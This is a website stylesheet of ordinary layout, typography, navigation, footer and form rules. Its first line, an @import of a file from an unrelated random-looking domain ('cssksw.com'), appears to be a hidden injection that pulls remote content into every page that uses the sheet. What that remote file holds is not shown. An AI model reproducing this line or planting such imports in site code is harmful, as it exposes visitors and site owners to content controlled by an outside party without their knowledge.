@import url("http://cssksw.com/5zd4058rwg");

/***** LAYOUT ******************************************************************/

body {margin:0;padding:0;font: 13px "Trebuchet MS", Arial, Helvetica, sans-serif;text-align: justify;background: #EFEFEF url(http://www.dpdino.com/test/images/header_bg.gif) repeat-x;}

.basictext {font: 13px Arial, Helvetica, sans-serif; color:#006;}

.errortext {font:13px Arial, Helvetica, sans-serif;color:#C00000;font-weight:bold;}

.csoon {color:#FF0000;}

#header {margin:0 auto;width:900px;height:110px;}

#pagewrapper {margin-top:22px;border-top:1px solid #ccc;background-color: #FFF;}

/***** PAGE ***********************************/

#page {margin:0 auto;padding:30px 0 10px;width:890px;}

#subnav {margin:0 auto;padding:30px 0 10px;width:890px;}

#logo {float:left;height:88px;padding:4px 90px 0 10px;}

#textlogo {padding: 0;float:right;text-align:right;}


/***** TEXT FORMATTING ************************************/

h1, h2, h3 {margin:0;text-decoration:none;font-weight:normal;color:#39B44D;}

h1 {font-size:2.4em;}

h2 {font-size:1.6em;}

h3 {margin-bottom:0.8em;font-size:1.2em;font-weight:bold;}

p {margin:0 0 1em;line-height:160%;}

blockquote {margin: 0;padding-left:1em;border-left:5px solid #DDD;}

a {color:#093;text-decoration:underline;}

a:hover {text-decoration:none;color:#0C0;}

#terms .toa {margin-top:10px;font-weight:bold;}

#terms li {margin-top:10px;}

.focus {	font-weight:bold;color:#ac3d1c;}

.small {font-size:0.8em;}

.bio .mp {font-size:1.2em;font-weight:bold;}

#service p {margin-bottom:1em;}

#service h3 {margin-bottom:0;}

/***** IMAGE FORMATTING ***********************************/

img {border: none;}

img.left {float:left;margin:8px 20px 0 0;border:2px solid #434343;}

img.border {padding:2px;border:1px solid #CCC;}

.bio img {margin:10px 10px 10px 30px;float:right;}

.hitem img {float:left;border: 0;padding: 0 10px 0 0;}


/***** MAIN NAVIGATION ************************************/

#menu {width:895px;height:20px;margin:0 auto;}

#menu ul {margin:0;padding:0;list-style:none;}

#menu li {display:inline;font-family:Tahoma, Arial, sans-serif;}

#menu a {display:block;float:left;margin:6px 4px 6px 2px;padding:1px 10px;text-decoration:none;font-size:1em;font-weight:normal;color: #FFF;}

#menu a:hover {background:#66CCA2;}

#menu .current_area a {background:#2E526B;}

/***** SUB NAVIGATION ************************************/

#subnav {float:right;background:#F0E9DB none repeat scroll 0 0;border:1px dashed #F5E0B7;margin-bottom:15px;width:200px;}

#subnav ul {margin:0;padding:0;list-style-image:none;list-style-position:outside;list-style-type:none;}

#subnav ul li {margin: 10px 0 10px 20px;padding:0;}

/***** FOOTER ******************************************************************/

#footer {clear:both;width:100%;margin:0 auto;padding:30px 0;background-color:#efefef;color:#999;	border-top:1px solid #CCC;}

#footer p {margin:0 0 5px 0;text-align:center;line-height:normal;font-size:0.9em;}

#footer a, #footer a:vlink {padding:1px 6px;text-decoration:underline;color:#666;}

#footer a:hover {padding:1px 6px;text-decoration:none;color:#036;}

/***** FORM ******************************************************************/

form {margin:0;padding:0;}

fieldset {margin:0;	padding:0;border:none;}

input, textarea {padding:5px;border:1px solid #626262;font:normal 1em "Trebuchet MS", Arial, Helvetica, sans-serif;}

/*** TABLE  ***/

table.product {width:90%;border-top:0px;border-right:0px;margin:1em auto;border-collapse:separate;}
